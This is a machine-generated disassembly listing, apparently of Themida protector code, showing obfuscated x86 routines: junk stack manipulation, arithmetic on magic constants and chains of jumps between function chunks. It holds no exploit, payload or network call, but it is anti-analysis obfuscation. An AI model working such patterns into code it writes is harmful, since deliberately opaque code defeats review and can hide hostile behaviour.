		jmp	loc_588D1D
; ---------------------------------------------------------------------------


loc_584544:				; CODE XREF: sub_584787+560j
		pop	ebx
		add	esp, 4
		add	bl, 65h
		push	edx
		jmp	loc_588C17
; ---------------------------------------------------------------------------


loc_584554:				; CODE XREF: sub_584787+5836j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-4+arg_0]
		pop	esp
		and	eax, edi
		mov	edi, [esp-8+arg_4]
		add	esp, 4
		or	eax, eax
		jnz	loc_5891C3
		push	ecx
		mov	ecx, esp
		push	esi
		jmp	loc_58857B
; ---------------------------------------------------------------------------


loc_584583:				; CODE XREF: sub_584787+992Aj
		push	esp
		jmp	loc_58F5D3
; END OF FUNCTION CHUNK	FOR sub_584787
; ---------------------------------------------------------------------------


loc_584589:				; DATA XREF: Themida_:005841B0o
		push	23ADh
		mov	[esp], eax
		mov	eax, 200h
		or	[edi+1Ch], eax
		push	dword ptr [esp]
		jmp	loc_584DF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_5845A1:				; CODE XREF: sub_584787+88F6j
		xor	edx, edi
		jmp	loc_589A67
; ---------------------------------------------------------------------------


loc_5845A8:				; CODE XREF: sub_584787+92FFj
		add	ecx, 4
		jmp	loc_584FA8
; ---------------------------------------------------------------------------


loc_5845B0:				; CODE XREF: sub_584787+1CCBj
		add	edx, eax
		pop	eax
		jmp	loc_58E20F
; END OF FUNCTION CHUNK	FOR sub_584787

; =============== S U B	R O U T	I N E =======================================



sub_5845B8	proc near		; CODE XREF: sub_584787+949Bj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005846DD SIZE 0000001A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+4+var_4]
		pop	esp
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_5846DD
sub_5845B8	endp

; ---------------------------------------------------------------------------


loc_5845D9:				; DATA XREF: Themida_:0058420Co
		mov	ax, fs:[edx]
		push	18F7h
		mov	[esp], esi
		jmp	loc_586802
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_5845EA:				; CODE XREF: sub_584787+58Aj
		xchg	ebx, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], esi
		push	20000h
		mov	esi, [esp-4+arg_0]
		sub	esp, 4
		mov	[esp+0], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_585CF0
; ---------------------------------------------------------------------------


loc_584620:				; CODE XREF: sub_584787+2E83j
		pop	ebp
		xchg	edi, [esp+0]
		pop	esp
		push	[esp-4+arg_0]
		push	dword ptr [esp+0]
		jmp	loc_585B4F
; ---------------------------------------------------------------------------


loc_584630:				; CODE XREF: sub_584787+7E46j
		mov	ecx, 55AA53D6h
		xor	[esp+4], ecx
		pop	ecx
		pop	ebx
		xor	ebx, 55AA53D6h
		pop	edi
		add	edx, ebx
		jmp	loc_5855DA
; ---------------------------------------------------------------------------


loc_584649:				; CODE XREF: sub_584787+DF6j
		pop	[esp-8+arg_4]
		pop	esp
		xor	[esp+0], eax
		jmp	loc_588D18
; ---------------------------------------------------------------------------


loc_584655:				; CODE XREF: sub_584787+A1DBj
		sub	edx, 1B332B08h
		add	edx, ecx
		jmp	loc_585920
; ---------------------------------------------------------------------------


loc_584662:				; CODE XREF: sub_584787+7E7Bj
		mov	edx, 61F345Ch
		xor	edx, 61F345Eh
		add	esi, edx
		jmp	loc_58909D
; ---------------------------------------------------------------------------


loc_584674:				; CODE XREF: sub_584787+4256j
		pop	esp
		movzx	ecx, al
		jmp	loc_58EC16
; ---------------------------------------------------------------------------


loc_58467D:				; CODE XREF: sub_584787+BB2Aj
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 4
		sub	edi, esi
		pop	esi
		jmp	loc_58BF82
; ---------------------------------------------------------------------------


loc_584693:				; CODE XREF: sub_584787+2AEFj
		push	[esp-14h+arg_E+2]
		push	dword ptr [esp+0]
		mov	eax, [esp-0Ch+arg_8]
		add	esp, 4
		jmp	loc_58F6B6
; END OF FUNCTION CHUNK	FOR sub_584787

; =============== S U B	R O U T	I N E =======================================



sub_5846A4	proc near		; DATA XREF: Themida_:005842E8o

var_4		= dword	ptr -4

		mov	ax, [esp+0]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], esi
		jmp	loc_585023
sub_5846A4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_5846C0:				; CODE XREF: sub_584787+5FFDj
		shr	ebx, 4
		neg	ebx
		sub	ebx, 0A513E691h
		mov	ecx, ebx
		jmp	loc_58617F
; ---------------------------------------------------------------------------


loc_5846D2:				; CODE XREF: sub_584787+3C64j
		add	edi, 0FFFFFFFFh
		jmp	loc_58746A
; END OF FUNCTION CHUNK	FOR sub_584787
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5845B8


loc_5846DD:				; CODE XREF: sub_5845B8+1Cj
		mov	ax, [esp+0]
		push	34D0h
		mov	[esp+4+var_4], ebx
		sub	esp, 4
		mov	[esp+8+var_8], esp
		jmp	loc_58A19F
; END OF FUNCTION CHUNK	FOR sub_5845B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_5846F7:				; CODE XREF: sub_584787+9560j
		xor	[esp+0], eax
		xor	eax, [esp+0]
		pop	esp
		push	3236h
		mov	[esp+0], ecx
		push	ebx
		mov	bl, dl
		push	eax
		push	ecx
		mov	ch, bl
		push	ebx
		mov	bl, ch
		mov	al, bl
		jmp	loc_58DFAD
; ---------------------------------------------------------------------------


loc_584717:				; CODE XREF: sub_584787+3560j
		sub	eax, 2
		xchg	eax, [esp+0]
		pop	esp
		jmp	loc_58E0B6
; ---------------------------------------------------------------------------


loc_584725:				; CODE XREF: sub_584787+5D49j
		or	edi, 9F6427Fh
		not	edi
		jmp	loc_58F5F9
; END OF FUNCTION CHUNK	FOR sub_584787

; =============== S U B	R O U T	I N E =======================================



sub_584732	proc near		; CODE XREF: sub_584787+2048j
		push	ebx
		mov	ebx, 2978045Fh
		mov	edx, 1D5D3692h
		jmp	loc_58D373
sub_584732	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_584742:				; CODE XREF: sub_584787+9D3Cj
		sub	eax, ebx
		sub	esp, 4
		mov	[esp+0], ebx
		push	4113h
		jmp	loc_588AC6
; ---------------------------------------------------------------------------


loc_584757:				; CODE XREF: sub_584787+7814j
		push	edi
		push	ecx
		jmp	loc_588906
; ---------------------------------------------------------------------------


loc_58475E:				; CODE XREF: sub_584787+2A2Cj
		add	ch, 49h
		xor	al, ch
		jmp	loc_588878
; ---------------------------------------------------------------------------


loc_584768:				; CODE XREF: sub_584787+50B0j
		pop	dx
		sub	bl, al
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], edx
		mov	dl, 96h
		jmp	loc_588FD3
; ---------------------------------------------------------------------------


loc_58477C:				; CODE XREF: sub_584787+2D2j
		add	esp, 4
		jmp	loc_58AC58
; END OF FUNCTION CHUNK	FOR sub_584787

; =============== S U B	R O U T	I N E =======================================



sub_584787	proc near		; DATA XREF: Themida_:00584228o

var_74		= dword	ptr -74h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_4E		= dword	ptr -4Eh
var_46		= dword	ptr -46h
var_42		= dword	ptr -42h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_E		= dword	ptr  12h
arg_12		= dword	ptr  16h
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h

; FUNCTION CHUNK AT 00584473 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058448A SIZE 0000006A BYTES
; FUNCTION CHUNK AT 00584507 SIZE 00000082 BYTES
; FUNCTION CHUNK AT 005845A1 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005845EA SIZE 000000BA BYTES
; FUNCTION CHUNK AT 005846C0 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005846F7 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 00584742 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 0058F451 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058F48A SIZE 0000006B BYTES
; FUNCTION CHUNK AT 0058F50A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F52D SIZE 00000068 BYTES
; FUNCTION CHUNK AT 0058F5C1 SIZE 0000009C BYTES
; FUNCTION CHUNK AT 0058F66A SIZE 00000087 BYTES
; FUNCTION CHUNK AT 0058F6F9 SIZE 0000005F BYTES
; FUNCTION CHUNK AT 0058F771 SIZE 00000150 BYTES
; FUNCTION CHUNK AT 0058F8C7 SIZE 000000BE BYTES
; FUNCTION CHUNK AT 0058F98E SIZE 000001CD BYTES
; FUNCTION CHUNK AT 0058FB7E SIZE 000000CD BYTES
; FUNCTION CHUNK AT 0058FC6A SIZE 000001CC BYTES
; FUNCTION CHUNK AT 0058FE3B SIZE 00000128 BYTES
; FUNCTION CHUNK AT 0058FF7F SIZE 0000009F BYTES
; FUNCTION CHUNK AT 00590047 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0059008E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005900AB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005900C9 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005900F6 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00590125 SIZE 0000004B BYTES
; FUNCTION CHUNK AT 005901B3 SIZE 0000004A BYTES
; FUNCTION CHUNK AT 00590249 SIZE 000000F3 BYTES
; FUNCTION CHUNK AT 00590378 SIZE 0000004D BYTES
; FUNCTION CHUNK AT 005903CB SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005903FC SIZE 000000F6 BYTES
; FUNCTION CHUNK AT 005904F8 SIZE 000001DD BYTES
; FUNCTION CHUNK AT 005906DD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059070D SIZE 00000051 BYTES

		sub	esp, 4
		mov	[esp+0Eh+var_10+2], esp
		add	[esp+0Eh+var_10+2], 4
		push	[esp+0Eh+var_10+2]
		push	[esp+12h+var_14+2]
		jmp	loc_589DB5
; ---------------------------------------------------------------------------


loc_58479C:				; CODE XREF: sub_584787+5C48j
		add	esp, 4
		add	edx, 4
		push	7FA5h
		mov	[esp+16h+var_18+2], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+16h+var_18+2]
		mov	esp, [esp+16h+var_18+2]
		mov	[esp+16h+var_18+2], eax
		mov	eax, 4
		sub	edx, eax
		pop	eax
		xor	edx, [esp+12h+var_14+2]
		jmp	loc_58917D
; ---------------------------------------------------------------------------


loc_5847D1:				; CODE XREF: sub_584787+76DAj
		xor	ebx, eax
		jmp	loc_586917
; ---------------------------------------------------------------------------


loc_5847D8:				; CODE XREF: sub_584787+B408j
		or	esi, edi
		jmp	loc_585EEE
; ---------------------------------------------------------------------------


loc_5847DF:				; DATA XREF: Themida_:0058434Co
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp+10h+var_10], cl
		pushf
		jmp	loc_58D43D
; ---------------------------------------------------------------------------


loc_5847EE:				; CODE XREF: sub_584787+3611j
		add	esp, 4
		add	eax, 320B1ABDh
		sub	eax, 1BDE30CDh
		sub	eax, ebx
		add	eax, 1BDE30CDh
		push	edx
		mov	edx, 320B1ABDh
		sub	eax, edx
		pop	edx
		push	5749h
		mov	[esp+14h+var_14], edx
		jmp	loc_587A8E
; ---------------------------------------------------------------------------


loc_584818:				; CODE XREF: sub_584787+9B3Dj
		mov	esp, [esp+14h+var_14]
		jmp	loc_58E3DA
; ---------------------------------------------------------------------------


loc_584820:				; CODE XREF: sub_584787+1053j
		mov	ebp, 4
		jmp	loc_584AE2
; ---------------------------------------------------------------------------


loc_58482A:				; CODE XREF: sub_584787+81A4j
		sub	bx, 3BA2h
		sub	bx, ax
		jmp	loc_58F339
; ---------------------------------------------------------------------------


loc_584837:				; CODE XREF: sub_584787+5D41j
		mov	edx, 4
		jmp	loc_58DF4D
; ---------------------------------------------------------------------------


loc_584841:				; CODE XREF: sub_584787+B0A1j
		pop	ecx
		shl	ebp, 6
		push	esi
		jmp	loc_589411
; ---------------------------------------------------------------------------


loc_58484B:				; CODE XREF: sub_584787+1E2Bj
		push	ebx
		mov	bh, dl
		not	bh
		mov	dl, bh
		jmp	loc_5861D8
; ---------------------------------------------------------------------------


loc_584857:				; CODE XREF: sub_584787+3C06j
		push	bx
		mov	bl, 1Dh
		add	cl, bl
		pop	bx
		jmp	loc_585AF8
; ---------------------------------------------------------------------------


loc_584864:				; CODE XREF: sub_584787+9922j
		add	esi, 71A842CAh
		pop	ecx
		push	esi
		push	[esp+18h+var_14]
		jmp	loc_58CE41
; ---------------------------------------------------------------------------


loc_584875:				; CODE XREF: sub_584787+688Dj
		add	ebx, esi
		jmp	loc_58B0A4
; ---------------------------------------------------------------------------


loc_58487C:				; CODE XREF: sub_584787+7E63j
		sub	esp, 4
		mov	[esp+20h+var_20], esp
		add	[esp+20h+var_20], 4
		jmp	loc_58E52E
; ---------------------------------------------------------------------------


loc_58488E:				; CODE XREF: sub_584787+19A1j
		xchg	esi, ebx
		push	esi
		push	ecx
		pop	esi
		pop	ecx
		jmp	loc_58F3E2
; ---------------------------------------------------------------------------


loc_584899:				; CODE XREF: sub_584787+5C1j
		pop	ecx
		pop	[esp+1Ch+var_1C]
		mov	esp, [esp+18h+var_18]
		sub	byte ptr [esp+18h+var_18], al
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_5848A9:				; CODE XREF: sub_584787+1A31j
		pop	esp
		pop	dword ptr [edi+20h]
		jmp	loc_58D4CA
; ---------------------------------------------------------------------------


loc_5848B2:				; DATA XREF: Themida_:005841B4o
		push	[esp+14h+var_14]
		mov	eax, [esp+18h+var_18]
		jmp	loc_5853E2
; ---------------------------------------------------------------------------


loc_5848BD:				; CODE XREF: sub_584787+D6Dj
		push	[esp+18h+var_18]
		pop	edi
		add	esp, 4
		xor	edx, 702565D8h
		push	edi
		mov	edi, 42F96CD3h
		xor	edi, 795040CFh
		sub	edi, 0D829D48Ch
		add	eax, edi
		pop	edi
		sub	eax, edx
		jmp	loc_58DEBE
; ---------------------------------------------------------------------------


loc_5848E9:				; CODE XREF: sub_584787+9C2Bj
		xor	eax, 0AD18A96Ah
		mov	ecx, eax
		pop	eax
		xor	edx, ecx
		jmp	loc_586E43
; ---------------------------------------------------------------------------


loc_5848F8:				; CODE XREF: sub_584787+7A1Ej
		pop	ebx
		jmp	loc_58CC86
; ---------------------------------------------------------------------------


loc_5848FE:				; DATA XREF: Themida_:00584304o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	[esp+0Ah+var_C+2], cl
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58490D:				; CODE XREF: sub_584787+7B0j
		mov	esi, esp
		jmp	loc_58C7F8
; ---------------------------------------------------------------------------


loc_584914:				; CODE XREF: sub_584787+B2DFj
		push	38ECh
		mov	[esp+12h+var_14+2], ebx
		mov	eax, [esp+12h+var_14+2]
		push	ebx
		jmp	loc_58C79C
; ---------------------------------------------------------------------------


loc_584925:				; CODE XREF: sub_584787+8C00j
		inc	edx
		jmp	loc_585BCB
; ---------------------------------------------------------------------------


loc_58492B:				; DATA XREF: Themida_:005841ECo
		mov	ax, word ptr [esp+16h+var_18+2]
		push	ebx
		jmp	loc_590125
; ---------------------------------------------------------------------------


loc_584935:				; CODE XREF: sub_584787+832Cj
		not	ah
		and	ah, 61h
		jmp	loc_58747E
; ---------------------------------------------------------------------------


loc_58493F:				; CODE XREF: sub_584787+1423j
		xor	ebp, [esp+1Ah+var_1C+2]
		mov	esp, [esp+1Ah+var_1C+2]
		mov	[esp+1Ah+var_1C+2], esi
		push	esp
		pop	esi
		push	ebx
		mov	ebx, 47217996h
		neg	ebx
		and	ebx, 791665BFh
		jmp	loc_58D938
; ---------------------------------------------------------------------------


loc_58495D:				; CODE XREF: sub_584787+3D44j
		mov	[esp+1Eh+var_20+2], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_58DB5D
; ---------------------------------------------------------------------------


loc_58496F:				; CODE XREF: sub_584787+9502j
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_584974:				; CODE XREF: sub_584787+5146j
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_584979:				; CODE XREF: sub_584787+B161j
		mov	esp, [esp+1Eh+var_20+2]
		push	3CB5h
		mov	[esp+0], ebp
		jmp	loc_589040
; ---------------------------------------------------------------------------


loc_584989:				; CODE XREF: sub_584787+67ECj
		and	ecx, 69082C24h
		shl	ecx, 4
		push	esi
		mov	esi, 439B55E3h
		sub	ecx, esi
		pop	esi
		or	ecx, 1D7E4492h
		inc	ecx
		sub	ecx, 45D92796h
		add	eax, ecx
		pop	ecx
		sub	eax, ecx
		sub	eax, 7826450Ah
		pop	ecx
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_5849B8:				; DATA XREF: Themida_:00584344o
		mov	ax, word ptr [esp+1Ah+var_1C+2]
		push	ebp
		push	esp
		push	dword ptr [esp+0]
		mov	ebp, [esp+26h+var_26]
		jmp	loc_5872FE
; ---------------------------------------------------------------------------


loc_5849C9:				; CODE XREF: sub_584787+A5E4j
		neg	ebx
		push	5644h
		mov	[esp+2Ah+var_2C+2], eax
		mov	eax, 39730494h
		add	eax, 0FC32B61h
		sub	ebx, eax
		mov	eax, [esp+2Ah+var_2C+2]
		add	esp, 4
		jmp	loc_584498
; ---------------------------------------------------------------------------


loc_5849ED:				; CODE XREF: sub_584787+44CFj
		mov	eax, 2C5A65F5h
		or	edi, eax
		pop	eax
		jmp	loc_5883A0
; ---------------------------------------------------------------------------


loc_5849FA:				; CODE XREF: sub_584787+10E1j
		pop	dword ptr [esp+0]
		push	esi
		jmp	loc_587B76
; ---------------------------------------------------------------------------


loc_584A03:				; CODE XREF: sub_584787+6727j
		push	ecx
		push	ebp
		jmp	loc_58613D
; ---------------------------------------------------------------------------


loc_584A0A:				; CODE XREF: sub_584787+23D8j
		add	edi, edx
		jmp	loc_588620
; ---------------------------------------------------------------------------


loc_584A11:				; CODE XREF: sub_584787+733Fj
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_584A1B:				; CODE XREF: sub_584787+59F1j
		add	edi, 2
		xor	edi, [esp+32h+var_34+2]
		xor	[esp+32h+var_34+2], edi
		jmp	loc_58F90F
; ---------------------------------------------------------------------------


loc_584A2C:				; DATA XREF: Themida_:005843B8o
		mov	cx, word ptr [esp+32h+var_34+2]
		push	72AEh
		jmp	loc_58748D
; ---------------------------------------------------------------------------


loc_584A3A:				; CODE XREF: sub_584787+4950j
		add	esi, 49257D16h
		jmp	loc_58FB46
; ---------------------------------------------------------------------------


loc_584A45:				; CODE XREF: sub_584787+A0CBj
		pop	ecx
		neg	dl
		mov	bh, dl
		jmp	loc_58603D
; ---------------------------------------------------------------------------


loc_584A4F:				; CODE XREF: sub_584787+BE2Ej
		add	[esp+32h+var_34+2], 4
		mov	ebx, [esp+32h+var_34+2]
		jmp	loc_58477C
; ---------------------------------------------------------------------------


loc_584A5E:				; CODE XREF: sub_584787+ABA5j
		push	eax
		mov	eax, 5743A7Bh
		sub	ebx, eax
		mov	eax, [esp+36h+var_38+2]
		jmp	loc_589220
; ---------------------------------------------------------------------------


loc_584A6E:				; CODE XREF: sub_584787+58BEj
		push	eax
		mov	eax, 0
		sub	eax, ecx
		jmp	loc_58D9A7
; ---------------------------------------------------------------------------


loc_584A7B:				; CODE XREF: sub_584787+74ADj
		add	ecx, 4
		add	ecx, 2
		xchg	ecx, [esp+3Ah+var_3C+2]
		mov	esp, [esp+3Ah+var_3C+2]
		bts	word ptr [esp+3Ah+var_3C+2], ax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_584A95:				; CODE XREF: sub_584787+775Cj
		mov	ebp, 2
		push	ebp
		mov	ebp, 7CBA5C60h
		push	edi
		mov	edi, 513A1D67h
		neg	edi
		shr	edi, 3
		sub	edi, 0E9F15D37h
		add	ebp, edi
		pop	edi
		push	0DF2h
		mov	[esp+46h+var_46], edi
		mov	edi, 0FFFFFFFFh
		add	ebp, edi
		mov	edi, [esp+46h+var_46]
		add	esp, 4
		neg	ebp
		jmp	loc_58D5AF
; ---------------------------------------------------------------------------


loc_584AD0:				; DATA XREF: Themida_:00584288o
		push	ebx
		jmp	loc_58EE5D
; ---------------------------------------------------------------------------


loc_584AD6:				; CODE XREF: sub_584787+88BFj
		dec	ebp
		xor	ebp, 0A7BCB10Ch
		jmp	loc_58FF06
; ---------------------------------------------------------------------------


loc_584AE2:				; CODE XREF: sub_584787+9Ej
		sub	ebx, 152C21ACh
		add	ebx, ebp
		jmp	loc_585BD7
; ---------------------------------------------------------------------------


loc_584AEF:				; CODE XREF: sub_584787+4B40j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5856E7
; ---------------------------------------------------------------------------


loc_584AFD:				; CODE XREF: sub_584787+B5A0j
		add	ecx, 619C72FEh
		pop	edi
		xor	ecx, [esp+14h+var_14]
		xor	[esp+14h+var_14], ecx
		jmp	loc_58B69E
; ---------------------------------------------------------------------------


loc_584B0F:				; CODE XREF: sub_584787+7272j
		push	esi
		mov	esi, 649D13C4h
		mov	eax, 0F6366AFh
		add	eax, 1
		xor	eax, 3DE10F7h
		jmp	loc_58F3EF
; ---------------------------------------------------------------------------


loc_584B29:				; CODE XREF: sub_584787+6640j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+18h+var_18]
		pop	esp
		mov	[esp+14h+var_14], ebx
		sub	[esp+14h+var_14], 64614475h
		jmp	loc_587B27
; ---------------------------------------------------------------------------


loc_584B48:				; CODE XREF: sub_584787+79FDj
		pop	edx
		pop	esi
		push	4F61h
		mov	[esp+10h+var_10], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_58C189
; ---------------------------------------------------------------------------


loc_584B5F:				; CODE XREF: sub_584787+2B6Cj
		mov	[esp+10h+var_10], edi
		push	ebp
		push	5E645AA1h
		push	[esp+18h+var_18]
		pop	ebp
		add	esp, 4
		sub	ebp, 5E644AA1h
		mov	edi, ebp
		jmp	loc_58577A
; ---------------------------------------------------------------------------


loc_584B7C:				; CODE XREF: sub_584787+742Dj
		mov	ebp, 42FF381Ch
		and	edx, ebp
		pop	ebp
		or	edx, 695803B6h
		neg	edx
		xor	edx, 7E467B1Bh
		push	edi
		mov	edi, 7E224E7Eh
		sub	edx, edi
		pop	edi
		and	esi, edx
		pop	edx
		xor	esi, 64A52244h
		shr	esi, 4
		xor	esi, 3AB75693h
		add	ebx, esi
		jmp	loc_585418
; ---------------------------------------------------------------------------


loc_584BB4:				; CODE XREF: sub_584787+5DB2j
		add	ecx, 4
		push	ecx
		push	[esp+10h+var_C]
		pop	ecx
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_58D46A
; ---------------------------------------------------------------------------


loc_584BCB:				; CODE XREF: sub_584787+AC0Dj
		xchg	ebx, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_58A391
; ---------------------------------------------------------------------------


loc_584BD4:				; CODE XREF: sub_584787+A099j
		pop	ebx
		add	esp, 4
		pop	ecx
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_584BDE:				; CODE XREF: sub_584787+7CE4j
		not	ecx
		jmp	loc_589A2D
; ---------------------------------------------------------------------------


loc_584BE5:				; CODE XREF: sub_584787+939Dj
		pop	ebp
		jmp	loc_586717
; ---------------------------------------------------------------------------


loc_584BEB:				; CODE XREF: sub_584787+2EA6j
		sub	esp, 2
		mov	word ptr [esp-4+arg_0],	bx
		push	ecx
		mov	ch, 0A0h
		mov	bh, ch
		pop	ecx
		sub	dl, bh
		mov	bx, word ptr [esp-4+arg_0]
		add	esp, 2
		xor	al, dl
		mov	edx, [esp-8+arg_4]
		jmp	loc_58B294
; ---------------------------------------------------------------------------


loc_584C11:				; CODE XREF: sub_584787+5A20j
		push	esi
		mov	esi, 3C522358h
		jmp	loc_589A9C
; ---------------------------------------------------------------------------


loc_584C1C:				; CODE XREF: sub_584787+8988j
		add	esp, 4
		pop	[esp-8+arg_4]
		mov	esp, [esp-0Ch+arg_8]
		jmp	loc_58B8FE
; ---------------------------------------------------------------------------


loc_584C2D:				; CODE XREF: sub_584787+2412j
		push	edi
		mov	edi, 2946510Ah
		shl	edi, 2
		and	edi, 5F0C1471h
		inc	edi
		neg	edi
		not	edi
		add	edi, 6AE93C34h
		mov	ebx, edi
		pop	edi
		add	ebx, 900EBFE8h
		add	ebx, 3D8205A9h
		add	ebx, edi
		jmp	loc_584F31
; ---------------------------------------------------------------------------


loc_584C5D:				; CODE XREF: sub_584787+1B0Cj
		mov	ecx, 0
		add	ecx, ebx
		mov	[ecx], dl
		mov	ecx, [esp-0Ch+arg_8]
		add	esp, 4
		mov	ebx, [esp+0]
		push	0E6Ch
		mov	[esp-0Ch+arg_8], eax
		mov	eax, esp
		jmp	loc_5906A0
; ---------------------------------------------------------------------------


loc_584C7E:				; CODE XREF: sub_584787-27Ej
		shl	edx, 1
		jmp	loc_58B3FD
; ---------------------------------------------------------------------------


loc_584C85:				; CODE XREF: sub_584787+9072j
		push	edi
		push	28504DC9h
		mov	edi, [esp+8+var_8]
		jmp	loc_58A634
; ---------------------------------------------------------------------------


loc_584C93:				; CODE XREF: sub_584787+A6C6j
		mov	esp, [esp+8+var_8]
		add	byte ptr [esp+8+var_8],	al
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_584C9F:				; CODE XREF: sub_584787+B843j
		pop	edx
		sub	edx, 79E7C3FCh
		sub	edx, 7ADF0654h
		jmp	loc_58FA09
; ---------------------------------------------------------------------------


loc_584CB1:				; CODE XREF: sub_584787+2DC0j
		mov	esi, [esp+8+var_8]
		add	esp, 4
		sub	ecx, 4B896379h
		add	ecx, 0B4F1149h
		not	ecx
		not	ecx
		push	66A3h
		mov	[esp+8+var_8], edi
		jmp	loc_5884E9
; ---------------------------------------------------------------------------


loc_584CD7:				; CODE XREF: sub_584787+3CDBj
		or	edi, 1E465087h
		jmp	loc_585545
; ---------------------------------------------------------------------------


loc_584CE2:				; CODE XREF: sub_584787+1728j
		add	al, bh
		push	[esp+8+var_8]
		jmp	loc_584544
; ---------------------------------------------------------------------------


loc_584CEC:				; CODE XREF: sub_584787+B075j
		sub	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_58CF07
; ---------------------------------------------------------------------------


loc_584CF8:				; CODE XREF: sub_584787+96C1j
		mov	ecx, 7E576906h
		dec	ecx
		jmp	loc_58ADF2
; ---------------------------------------------------------------------------


loc_584D03:				; CODE XREF: sub_584787+6476j
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5845EA
; ---------------------------------------------------------------------------


loc_584D16:				; CODE XREF: sub_584787+243Ej
		mul	cl
		movzx	cx, ah
		jmp	loc_58C24A
; ---------------------------------------------------------------------------


loc_584D21:				; CODE XREF: sub_584787+5EE5j
		push	0
		sub	[esp+0Ch+var_C], esi
		pop	esi
		jmp	loc_588BBC
; ---------------------------------------------------------------------------


loc_584D2F:				; CODE XREF: sub_584787+2CDEj
		add	dh, bh
		jmp	loc_589C2E
; ---------------------------------------------------------------------------


loc_584D36:				; CODE XREF: sub_584787+135Ej
		xor	ebx, eax
		jmp	loc_58536D
; ---------------------------------------------------------------------------


loc_584D3D:				; CODE XREF: sub_584787+3EBBj
		add	esp, 4
		push	ecx
		push	[esp+8+var_4]
		jmp	loc_584899
; ---------------------------------------------------------------------------


loc_584D4D:				; CODE XREF: sub_584787+4DDEj
		xchg	edi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		push	41D7h
		mov	[esp+10h+var_10], esi
		mov	esi, esp
		push	ecx
		jmp	loc_5899B1
; ---------------------------------------------------------------------------


loc_584D63:				; CODE XREF: sub_584787+BA71j
		pop	esp
		mov	[esp+10h+var_10], ebx
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp+14h+var_14], esi
		jmp	loc_585373
; ---------------------------------------------------------------------------


loc_584D77:				; CODE XREF: sub_584787+786Bj
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		mov	[esp+1Ch+var_1C], eax
		jmp	loc_586467
; ---------------------------------------------------------------------------


loc_584D88:				; CODE XREF: sub_584787+373Fj
		xor	ecx, eax
		pop	eax
		add	ebp, ecx
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		jmp	loc_584ED0
; ---------------------------------------------------------------------------


